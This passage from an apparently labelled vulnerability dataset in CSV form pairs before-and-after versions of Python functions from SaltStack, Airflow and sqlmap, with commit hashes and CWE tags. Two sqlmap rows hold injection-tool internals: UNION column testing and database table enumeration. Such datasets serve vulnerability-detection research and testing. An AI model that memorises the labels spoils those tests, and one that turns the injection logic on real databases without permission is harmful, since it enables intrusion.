        (use ~ in YAML), the file will be created as an empty file and
        the content will not be managed. This is also the case when a file
        already exists and the source is undefined; the contents of the file
        will not be changed or managed.

        If the file is hosted on a HTTP or FTP server then the source_hash
        argument is also required.

        A list of sources can also be passed in to provide a default source and
        a set of fallbacks. The first source in the list that is found to exist
        will be used and subsequent entries in the list will be ignored.

        .. code-block:: yaml

            file_override_example:
              file.blockreplace:
                - name: /etc/example.conf
                - source:
                  - salt://file_that_does_not_exist
                  - salt://file_that_exists

    source_hash
        This can be one of the following:
            1. a source hash string
            2. the URI of a file that contains source hash strings

        The function accepts the first encountered long unbroken alphanumeric
        string of correct length as a valid hash, in order from most secure to
        least secure:

        .. code-block:: text

            Type    Length
            ======  ======
            sha512     128
            sha384      96
            sha256      64
            sha224      56
            sha1        40
            md5         32

        See the ``source_hash`` parameter description for :mod:`file.managed
        <salt.states.file.managed>` function for more details and examples.

    template : jinja
        Templating engine to be used to render the downloaded file. The
        following engines are supported:

        - :mod:`cheetah <salt.renderers.cheetah>`
        - :mod:`genshi <salt.renderers.genshi>`
        - :mod:`jinja <salt.renderers.jinja>`
        - :mod:`mako <salt.renderers.mako>`
        - :mod:`py <salt.renderers.py>`
        - :mod:`wempy <salt.renderers.wempy>`

    context
        Overrides default context variables passed to the template

    defaults
        Default context passed to the template

    append_if_not_found : False
        If markers are not found and this option is set to ``True``, the
        content block will be appended to the file.

    prepend_if_not_found : False
        If markers are not found and this option is set to ``True``, the
        content block will be prepended to the file.

    backup
        The file extension to use for a backup of the file if any edit is made.
        Set this to ``False`` to skip making a backup.

    dry_run : False
        If ``True``, do not make any edits to the file and simply return the
        changes that *would* be made.

    show_changes : True
        Controls how changes are presented. If ``True``, the ``Changes``
        section of the state return will contain a unified diff of the changes
        made. If False, then it will contain a boolean (``True`` if any changes
        were made, otherwise ``False``).

    append_newline
        Controls whether or not a newline is appended to the content block. If
        the value of this argument is ``True`` then a newline will be added to
        the content block. If it is ``False``, then a newline will *not* be
        added to the content block. If it is unspecified, then a newline will
        only be added to the content block if it does not already end in a
        newline.

        .. versionadded:: 2017.7.5,2018.3.1

    Example of usage with an accumulator and with a variable:

    .. code-block:: jinja

        {% set myvar = 42 %}
        hosts-config-block-{{ myvar }}:
          file.blockreplace:
            - name: /etc/hosts
            - marker_start: ""# START managed zone {{ myvar }} -DO-NOT-EDIT-""
            - marker_end: ""# END managed zone {{ myvar }} --""
            - content: 'First line of content'
            - append_if_not_found: True
            - backup: '.bak'
            - show_changes: True

        hosts-config-block-{{ myvar }}-accumulated1:
          file.accumulated:
            - filename: /etc/hosts
            - name: my-accumulator-{{ myvar }}
            - text: ""text 2""
            - require_in:
              - file: hosts-config-block-{{ myvar }}

        hosts-config-block-{{ myvar }}-accumulated2:
          file.accumulated:
            - filename: /etc/hosts
            - name: my-accumulator-{{ myvar }}
            - text: |
                 text 3
                 text 4
            - require_in:
              - file: hosts-config-block-{{ myvar }}

    will generate and maintain a block of content in ``/etc/hosts``:

    .. code-block:: text

        # START managed zone 42 -DO-NOT-EDIT-
        First line of content
        text 2
        text 3
        text 4
        # END managed zone 42 --
    """"""
    name = os.path.expanduser(name)

    ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}
    if not name:
        return _error(ret, ""Must provide name to file.blockreplace"")

    if sources is None:
        sources = []
    if source_hashes is None:
        source_hashes = []

    (ok_, err, sl_) = _unify_sources_and_hashes(
        source=source,
        source_hash=source_hash,
        sources=sources,
        source_hashes=source_hashes,
    )
    if not ok_:
        return _error(ret, err)

    check_res, check_msg = _check_file(name)
    if not check_res:
        return _error(ret, check_msg)

    accum_data, accum_deps = _load_accumulators()
    if name in accum_data:
        accumulator = accum_data[name]
        # if we have multiple accumulators for a file, only apply the one
        # required at a time
        deps = accum_deps.get(name, [])
        filtered = [
            a for a in deps if __low__[""__id__""] in deps[a] and a in accumulator
        ]
        if not filtered:
            filtered = [a for a in accumulator]
        for acc in filtered:
            acc_content = accumulator[acc]
            for line in acc_content:
                if content == """":
                    content = line
                else:
                    content += ""\n"" + line

    if sl_:
        tmpret = _get_template_texts(
            source_list=sl_, template=template, defaults=defaults, context=context
        )
        if not tmpret[""result""]:
            return tmpret
        text = tmpret[""data""]

        for index, item in enumerate(text):
            content += six.text_type(item)

    try:
        changes = __salt__[""file.blockreplace""](
            name,
            marker_start,
            marker_end,
            content=content,
            append_if_not_found=append_if_not_found,
            prepend_if_not_found=prepend_if_not_found,
            backup=backup,
            dry_run=__opts__[""test""],
            show_changes=show_changes,
            append_newline=append_newline,
        )
    except Exception as exc:  # pylint: disable=broad-except
        log.exception(""Encountered error managing block"")
        ret[""comment""] = (
            ""Encountered error managing block: {0}. ""
            ""See the log for details."".format(exc)
        )
        return ret

    if changes:
        ret[""changes""][""diff""] = changes
        if __opts__[""test""]:
            ret[""result""] = None
            ret[""comment""] = ""Changes would be made""
        else:
            ret[""result""] = True
            ret[""comment""] = ""Changes were made""
    else:
        ret[""result""] = True
        ret[""comment""] = ""No changes needed to be made""

    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/botocore_aws.py,0,"def __virtual__():
    '''
    Set up the libcloud funcstions and check for AWS configs
    '''
    if not HAS_LIBCLOUD:
        return False

    try:
        # Import botocore
        import botocore.session
    except ImportError:
        # Botocore is not available, the Libcloud AWS module will be loaded
        # instead.
        return False

    # ""Patch"" the imported libcloud_aws to have the current __opts__
    libcloud_aws.__opts__ = __opts__
    libcloudfuncs.__opts__ = __opts__

    if get_configured_provider() is False:
        return False

    for provider, details in six.iteritems(__opts__['providers']):
        if 'provider' not in details or details['provider'] != 'aws':
            continue

        if not os.path.exists(details['private_key']):
            raise SaltCloudException(
                'The AWS key file \'{0}\' used in the \'{1}\' provider '
                'configuration does not exist\n'.format(
                    details['private_key'],
                    provider
                )
            )

        keymode = str(
            oct(stat.S_IMODE(os.stat(details['private_key']).st_mode))
        )
        if keymode not in ('0400', '0600'):
            raise SaltCloudException(
                'The AWS key file \'{0}\' used in the \'{1}\' provider '
                'configuration needs to be set to mode 0400 or 0600\n'.format(
                    details['private_key'],
                    provider
                )
            )

    # Let's bring the functions imported from libcloud_aws to the current
    # namespace.
    keysdiff = set(POST_IMPORT_LOCALS_KEYS).difference(
        PRE_IMPORT_LOCALS_KEYS
    )
    for key in keysdiff:
        # only import callables that actually have __code__ (this includes
        # functions but excludes Exception classes)
        if (callable(POST_IMPORT_LOCALS_KEYS[key]) and
                hasattr(POST_IMPORT_LOCALS_KEYS[key], ""__code__"")):
            globals().update(
                {
                    key: namespaced_function(
                        POST_IMPORT_LOCALS_KEYS[key], globals(), ()
                    )
                }
            )

    global avail_images, avail_sizes, avail_locations, script
    global list_nodes, list_nodes_full, list_nodes_select

    # open a connection in a specific region
    conn = get_conn(**{'location': get_location()})

    # Init the libcloud functions
    avail_locations = namespaced_function(avail_locations, globals(), (conn,))
    avail_images = namespaced_function(avail_images, globals(), (conn,))
    avail_sizes = namespaced_function(avail_sizes, globals(), (conn,))
    script = namespaced_function(script, globals(), (conn,))
    list_nodes = namespaced_function(list_nodes, globals(), (conn,))
    list_nodes_full = namespaced_function(list_nodes_full, globals(), (conn,))
    list_nodes_select = namespaced_function(
        list_nodes_select, globals(), (conn,)
    )

    log.warning('This driver has been deprecated and will be removed in the '
                'Boron release of Salt. Please use the ec2 driver instead.')

    return 'aws'",,saltstack/salt,9051706b6458999b8a3920da7dbb328cea65d4bf,"def __virtual__():
    '''
    Set up the libcloud funcstions and check for AWS configs
    '''
    if not HAS_LIBCLOUD:
        return False

    try:
        # Import botocore
        import botocore.session
    except ImportError:
        # Botocore is not available, the Libcloud AWS module will be loaded
        # instead.
        return False

    # ""Patch"" the imported libcloud_aws to have the current __opts__
    libcloud_aws.__opts__ = __opts__
    libcloudfuncs.__opts__ = __opts__

    if get_configured_provider() is False:
        return False

    for provider, details in six.iteritems(__opts__['providers']):
        if 'provider' not in details or details['provider'] != 'aws':
            continue

        if not os.path.exists(details['private_key']):
            raise SaltCloudException(
                'The AWS key file {0!r} used in the {1!r} provider '
                'configuration does not exist\n'.format(
                    details['private_key'],
                    provider
                )
            )

        keymode = str(
            oct(stat.S_IMODE(os.stat(details['private_key']).st_mode))
        )
        if keymode not in ('0400', '0600'):
            raise SaltCloudException(
                'The AWS key file {0!r} used in the {1!r} provider '
                'configuration needs to be set to mode 0400 or 0600\n'.format(
                    details['private_key'],
                    provider
                )
            )

    # Let's bring the functions imported from libcloud_aws to the current
    # namespace.
    keysdiff = set(POST_IMPORT_LOCALS_KEYS).difference(
        PRE_IMPORT_LOCALS_KEYS
    )
    for key in keysdiff:
        # only import callables that actually have __code__ (this includes
        # functions but excludes Exception classes)
        if (callable(POST_IMPORT_LOCALS_KEYS[key]) and
                hasattr(POST_IMPORT_LOCALS_KEYS[key], ""__code__"")):
            globals().update(
                {
                    key: namespaced_function(
                        POST_IMPORT_LOCALS_KEYS[key], globals(), ()
                    )
                }
            )

    global avail_images, avail_sizes, avail_locations, script
    global list_nodes, list_nodes_full, list_nodes_select

    # open a connection in a specific region
    conn = get_conn(**{'location': get_location()})

    # Init the libcloud functions
    avail_locations = namespaced_function(avail_locations, globals(), (conn,))
    avail_images = namespaced_function(avail_images, globals(), (conn,))
    avail_sizes = namespaced_function(avail_sizes, globals(), (conn,))
    script = namespaced_function(script, globals(), (conn,))
    list_nodes = namespaced_function(list_nodes, globals(), (conn,))
    list_nodes_full = namespaced_function(list_nodes_full, globals(), (conn,))
    list_nodes_select = namespaced_function(
        list_nodes_select, globals(), (conn,)
    )

    log.warning('This driver has been deprecated and will be removed in the '
                'Boron release of Salt. Please use the ec2 driver instead.')

    return 'aws'"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/test_docker_container.py,1,"def test_running_with_invalid_input(docker_container, container_name, image):
    """"""
    This tests that the input tranlation code identifies invalid input and
    includes information about that invalid argument in the state return.
    """"""
    # Try to create a container with invalid input
    ret = docker_container.running(
        name=container_name,
        image=image,
        ulimits=""nofile:2048"",
        shutdown_timeout=1,
    )
    assert ret.result is False
    # Check to make sure that the container was not created
    assert ""container_id"" not in ret.changes
    # Check that the error message about the invalid argument is
    # included in the comment for the state
    assert (
        ""Ulimit definition 'nofile:2048' is not in the format""
        "" type=soft_limit[:hard_limit]"" in ret.comment
    )",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_running_with_invalid_input(docker_container, container_name, image):
    """"""
    This tests that the input tranlation code identifies invalid input and
    includes information about that invalid argument in the state return.
    """"""
    # Try to create a container with invalid input
    ret = docker_container.running(
        name=container_name,
        image=image,
        ulimits=""nofile:2048"",
        shutdown_timeout=1,
    )
    assert ret.result is False
    # Check to make sure that the container was not created
    assert ""container_id"" not in ret.changes
    # Check that the error message about the invalid argument is
    # included in the comment for the state
    assert (
        ""Ulimit definition 'nofile:2048' is not in the format type=soft_limit[:hard_limit]""
        in ret.comment
    )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/operators/bigquery.py,0,"def execute(self, context: Any):
        hook = BigQueryHook(
            gcp_conn_id=self.gcp_conn_id,
            impersonation_chain=self.impersonation_chain,
        )
        self.hook = hook

        job_id = hook.generate_job_id(
            job_id=self.job_id,
            dag_id=self.dag_id,
            task_id=self.task_id,
            logical_date=context[""logical_date""],
            configuration=self.configuration,
            force_rerun=self.force_rerun,
        )

        try:
            self.log.info(""Executing: %s'"", self.configuration)
            job: BigQueryJob | UnknownJob = self._submit_job(hook, job_id)
        except Conflict:
            # If the job already exists retrieve it
            job = hook.get_job(
                project_id=self.project_id,
                location=self.location,
                job_id=job_id,
            )
            if job.state in self.reattach_states:
                # We are reattaching to a job
                job._begin()
                self._handle_job_error(job)
            else:
                # Same job configuration so we need force_rerun
                raise AirflowException(
                    f""Job with id: {job_id} already exists and is in {job.state} state. If you ""
                    f""want to force rerun it consider setting `force_rerun=True`.""
                    f""Or, if you want to reattach in this scenario add {job.state} to `reattach_states`""
                )

        job_types = {
            LoadJob._JOB_TYPE: [""sourceTable"", ""destinationTable""],
            CopyJob._JOB_TYPE: [""sourceTable"", ""destinationTable""],
            ExtractJob._JOB_TYPE: [""sourceTable""],
            QueryJob._JOB_TYPE: [""destinationTable""],
        }

        project_id = self.project_id or hook.project_id
        if project_id:
            for job_type, tables_prop in job_types.items():
                job_configuration = job.to_api_repr()[""configuration""]
                if job_type in job_configuration:
                    for table_prop in tables_prop:
                        if table_prop in job_configuration[job_type]:
                            table = job_configuration[job_type][table_prop]
                            persist_kwargs = {
                                ""context"": context,
                                ""task_instance"": self,
                                ""project_id"": project_id,
                                ""table_id"": table,
                            }
                            if not isinstance(table, str):
                                persist_kwargs[""table_id""] = table[""tableId""]
                                persist_kwargs[""dataset_id""] = table[""datasetId""]
                                persist_kwargs[""project_id""] = table[""projectId""]
                            BigQueryTableLink.persist(**persist_kwargs)
        self.job_id = job.job_id
        project_id = self.project_id or self.hook.project_id
        if project_id:
            job_id_path = convert_job_id(job_id=job_id, project_id=project_id, location=self.location)
            context[""ti""].xcom_push(key=""job_id_path"", value=job_id_path)
        # Wait for the job to complete
        if not self.deferrable:
            job.result(timeout=self.result_timeout, retry=self.result_retry)
            self._handle_job_error(job)

            return self.job_id
        else:
            if job.running():
                self.defer(
                    timeout=self.execution_timeout,
                    trigger=BigQueryInsertJobTrigger(
                        conn_id=self.gcp_conn_id,
                        job_id=self.job_id,
                        project_id=self.project_id,
                        poll_interval=self.poll_interval,
                    ),
                    method_name=""execute_complete"",
                )
            self.log.info(""Current state of job %s is %s"", job.job_id, job.state)
            self._handle_job_error(job)",CWE-Unknown,apache/airflow,43fa157e51ac6abe6de8475c7fd356507f453d8f,"def execute(self, context: Any):
        hook = BigQueryHook(
            gcp_conn_id=self.gcp_conn_id,
            impersonation_chain=self.impersonation_chain,
        )
        self.hook = hook

        job_id = hook.generate_job_id(
            job_id=self.job_id,
            dag_id=self.dag_id,
            task_id=self.task_id,
            logical_date=context[""logical_date""],
            configuration=self.configuration,
            force_rerun=self.force_rerun,
        )

        try:
            self.log.info(""Executing: %s'"", self.configuration)
            job: BigQueryJob | UnknownJob = self._submit_job(hook, job_id)
        except Conflict:
            # If the job already exists retrieve it
            job = hook.get_job(
                project_id=self.project_id,
                location=self.location,
                job_id=job_id,
            )
            if job.state in self.reattach_states:
                # We are reattaching to a job
                job._begin()
                self._handle_job_error(job)
            else:
                # Same job configuration so we need force_rerun
                raise AirflowException(
                    f""Job with id: {job_id} already exists and is in {job.state} state. If you ""
                    f""want to force rerun it consider setting `force_rerun=True`.""
                    f""Or, if you want to reattach in this scenario add {job.state} to `reattach_states`""
                )

        job_types = {
            LoadJob._JOB_TYPE: [""sourceTable"", ""destinationTable""],
            CopyJob._JOB_TYPE: [""sourceTable"", ""destinationTable""],
            ExtractJob._JOB_TYPE: [""sourceTable""],
            QueryJob._JOB_TYPE: [""destinationTable""],
        }

        project_id = self.project_id or hook.project_id
        if project_id:
            for job_type, tables_prop in job_types.items():
                job_configuration = job.to_api_repr()[""configuration""]
                if job_type in job_configuration:
                    for table_prop in tables_prop:
                        if table_prop in job_configuration[job_type]:
                            table = job_configuration[job_type][table_prop]
                            persist_kwargs = {
                                ""context"": context,
                                ""task_instance"": self,
                                ""project_id"": project_id,
                                ""table_id"": table,
                            }
                            if not isinstance(table, str):
                                persist_kwargs[""table_id""] = table[""tableId""]
                                persist_kwargs[""dataset_id""] = table[""datasetId""]
                                persist_kwargs[""project_id""] = table[""projectId""]
                            BigQueryTableLink.persist(**persist_kwargs)
        self.job_id = job.job_id
        project_id = self.project_id or self.hook.project_id
        if project_id:
            job_id_path = convert_job_id(job_id=job_id, project_id=project_id, location=self.location)
            context[""ti""].xcom_push(key=""job_id_path"", value=job_id_path)
        # Wait for the job to complete
        if not self.deferrable:
            job.result(timeout=self.result_timeout, retry=self.result_retry)
            self._handle_job_error(job)

            return self.job_id
        else:
            if job.running():
                self.defer(
                    timeout=self.execution_timeout,
                    trigger=BigQueryInsertJobTrigger(
                        conn_id=self.gcp_conn_id,
                        job_id=self.job_id,
                        project_id=self.project_id,
                        poll_interval=self.poll_interval,
                    ),
                    method_name=""execute_complete"",
                )
            self.log.info(""Current state of job %s is %s"", job.job_id, job.state)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """"""

    validPayload = None
    vector = None

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

    if count:
        validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
            warnMsg = ""if UNION based SQL injection is not detected, ""
            warnMsg += ""please consider ""

            if not conf.uChar and count > 1:
                message = ""injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] ""
                test = readInput(message, default=""Y"")
                if test[0] not in (""y"", ""Y""):
                    warnMsg += ""usage of option '--union-char' ""
                    warnMsg += ""(e.g. --union-char=1) ""
                else:
                    conf.uChar = kb.uChar = str(randomInt(2))
                    validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count)

            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += ""and/or try to force the ""
                else:
                    warnMsg += ""forcing the ""
                warnMsg += ""back-end DBMS (e.g. --dbms=mysql) ""

            if not all([validPayload, vector]) and not warnMsg.endswith(""consider ""):
                singleTimeWarnMessage(warnMsg)

    return validPayload, vector",,sqlmapproject/sqlmap,9a4f8d5f45a7a34516e9f5d62d4ae648f0905cef,"def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """"""

    validPayload = None
    vector = None

    # In case that user explicitly stated number of columns affected
    if conf.uColsStop == conf.uColsStart:
        count = conf.uColsStart
    else:
        count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

    if count:
        validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count)

        if not all([validPayload, vector]) and not all([conf.uChar, conf.dbms]):
            warnMsg = ""if UNION based SQL injection is not detected, ""
            warnMsg += ""please consider ""

            if not conf.uChar and count > 1:
                message = ""injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] ""
                test = readInput(message, default=""Y"")
                if test[0] not in (""y"", ""Y""):
                    warnMsg += ""usage of option '--union-char' ""
                    warnMsg += ""(e.g. --union-char=1) ""
                else:
                    kb.uChar = str(randomInt(2))
                    validPayload, vector = __unionConfirm(comment, place, parameter, prefix, suffix, count)

            if not conf.dbms:
                if not conf.uChar:
                    warnMsg += ""and/or try to force the ""
                else:
                    warnMsg += ""forcing the ""
                warnMsg += ""back-end DBMS (e.g. --dbms=mysql) ""

            if not all([validPayload, vector]) and not warnMsg.endswith(""consider ""):
                singleTimeWarnMessage(warnMsg)

    return validPayload, vector"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/databases.py,0,"def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = ""information_schema not available, ""
                errMsg += ""back-end DBMS is MySQL < 5.0""
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = ""cannot retrieve table names, ""
                    errMsg += ""back-end DBMS is Access""
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split("","")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = ""do you want to use common table existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else ""[y/N/q]"")
            test = readInput(message, default=""Y"" if ""Y"" in message else ""N"")

            if test[0] in (""n"", ""N""):
                return
            elif test[0] in (""q"", ""Q""):
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = ""fetching tables for database""
        infoMsg += ""%s: '%s'"" % (""s"" if len(dbs) > 1 else """", "", "".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            query = rootQuery.inband.query
            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None

            if condition:
                if not Backend.isDbms(DBMS.SQLITE):
                    query += "" WHERE %s"" % condition

                    if conf.excludeSysDbs:
                        infoMsg = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                        logger.info(infoMsg)
                        query += "" IN (%s)"" % "","".join(""'%s'"" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
                    else:
                        query += "" IN (%s)"" % "","".join(""'%s'"" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                if len(dbs) < 2 and (""%s,"" % condition) in query:
                    query = query.replace(""%s,"" % condition, """", 1)

            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                values = filter(None, arrayizeValue(values))

                if len(values) > 0 and not isListLike(values[0]):
                    values = [(dbs[0], _) for _ in values]

                for db, table in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(table, True)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = ""fetching number of tables for ""
                infoMsg += ""database '%s'"" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if count == 0:
                    warnMsg = ""database '%s' "" % unsafeSQLIdentificatorNaming(db)
                    warnMsg += ""appears to be empty""
                    logger.warn(warnMsg)
                    continue

                elif not isNumPosStrValue(count):
                    warnMsg = ""unable to retrieve the number of ""
                    warnMsg += ""tables for database '%s'"" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)
                    continue

                tables = []

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.SYBASE):
                        query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else "" ""))
                    elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
                        query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else "" "")
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = rootQuery.blind.query % index
                    else:
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)

                    table = unArrayizeValue(inject.getValue(query, union=False, error=False))
                    if not isNoneValue(table):
                        kb.hintValue = table
                        table = safeSQLIdentificatorNaming(table, True)
                        tables.append(table)

                if tables:
                    kb.data.cachedTables[db] = tables
                else:
                    warnMsg = ""unable to retrieve the table names ""
                    warnMsg += ""for database '%s'"" % unsafeSQLIdentificatorNaming(db)
                    logger.warn(warnMsg)

        if isNoneValue(kb.data.cachedTables):
            kb.data.cachedTables.clear()

        if not kb.data.cachedTables:
            errMsg = ""unable to retrieve the table names for any database""
            if bruteForce is None:
                logger.error(errMsg)
                return self.getTables(bruteForce=True)
            else:
                raise SqlmapNoneDataException(errMsg)
        else:
            for db, tables in kb.data.cachedTables.items():
                kb.data.cachedTables[db] = sorted(tables) if tables else tables

        if kb.data.cachedTables:
            for db in kb.data.cachedTables.keys():
                kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db]))

        return kb.data.cachedTables",,sqlmapproject/sqlmap,60050462806afa2f287a20a492a9f1f21e9dbf04,"def getTables(self, bruteForce=None):
        if len(kb.data.cachedTables) > 0:
            return kb.data.cachedTables

        self.forceDbmsEnum()

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = ""information_schema not available, ""
                errMsg += ""back-end DBMS is MySQL < 5.0""
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                try:
                    tables = self.getTables(False)
                except SqlmapNoneDataException:
                    tables = None

                if not tables:
                    errMsg = ""cannot retrieve table names, ""
                    errMsg += ""back-end DBMS is Access""
                    logger.error(errMsg)
                    bruteForce = True
                else:
                    return tables

        if conf.db == CURRENT_DB:
            conf.db = self.getCurrentDb()

        if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.db = conf.db.upper()

        if conf.db:
            dbs = conf.db.split("","")
        else:
            dbs = self.getDbs()

        for db in dbs:
            dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)

        dbs = filter(None, dbs)

        if bruteForce:
            resumeAvailable = False

            for db, table in kb.brute.tables:
                if db == conf.db:
                    resumeAvailable = True
                    break

            if resumeAvailable:
                for db, table in kb.brute.tables:
                    if db == conf.db:
                        if conf.db not in kb.data.cachedTables:
                            kb.data.cachedTables[conf.db] = [table]
                        else:
                            kb.data.cachedTables[conf.db].append(table)

                return kb.data.cachedTables

            message = ""do you want to use common table existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else ""[y/N/q]"")
            test = readInput(message, default=""Y"" if ""Y"" in message else ""N"")

            if test[0] in (""n"", ""N""):
                return
            elif test[0] in (""q"", ""Q""):
                raise SqlmapUserQuitException
            else:
                return tableExists(paths.COMMON_TABLES)

        infoMsg = ""fetching tables for database""
        infoMsg += ""%s: '%s'"" % (""s"" if len(dbs) > 1 else """", "", "".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].tables

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            query = rootQuery.inband.query
            condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None

            if condition:
                if not Backend.isDbms(DBMS.SQLITE):
                    query += "" WHERE %s"" % condition
                    query += "" IN (%s)"" % "","".join(""'%s'"" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))

                    if conf.excludeSysDbs:
                        query += """".join("" AND %s != '%s'"" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
                        infoMsg = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                        logger.info(infoMsg)

                if len(dbs) < 2 and (""%s,"" % condition) in query:
                    query = query.replace(""%s,"" % condition, """", 1)

            values = inject.getValue(query, blind=False, time=False)

            if not isNoneValue(values):
                values = filter(None, arrayizeValue(values))

                if len(values) > 0 and not isListLike(values[0]):
                    values = [(dbs[0], _) for _ in values]

                for db, table in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    table = safeSQLIdentificatorNaming(table, True)

                    if db not in kb.data.cachedTables:
                        kb.data.cachedTables[db] = [table]
                    else:
                        kb.data.cachedTables[db].append(table)

        if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = ""skipping system database '%s'"" % db
                    logger.info(infoMsg)

                    continue

                infoMsg = ""fetching number of tables for ""
                infoMsg += ""database '%s'"" % unsafeSQLIdentificatorNaming(db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
                    query = rootQuery.blind.count
                else:
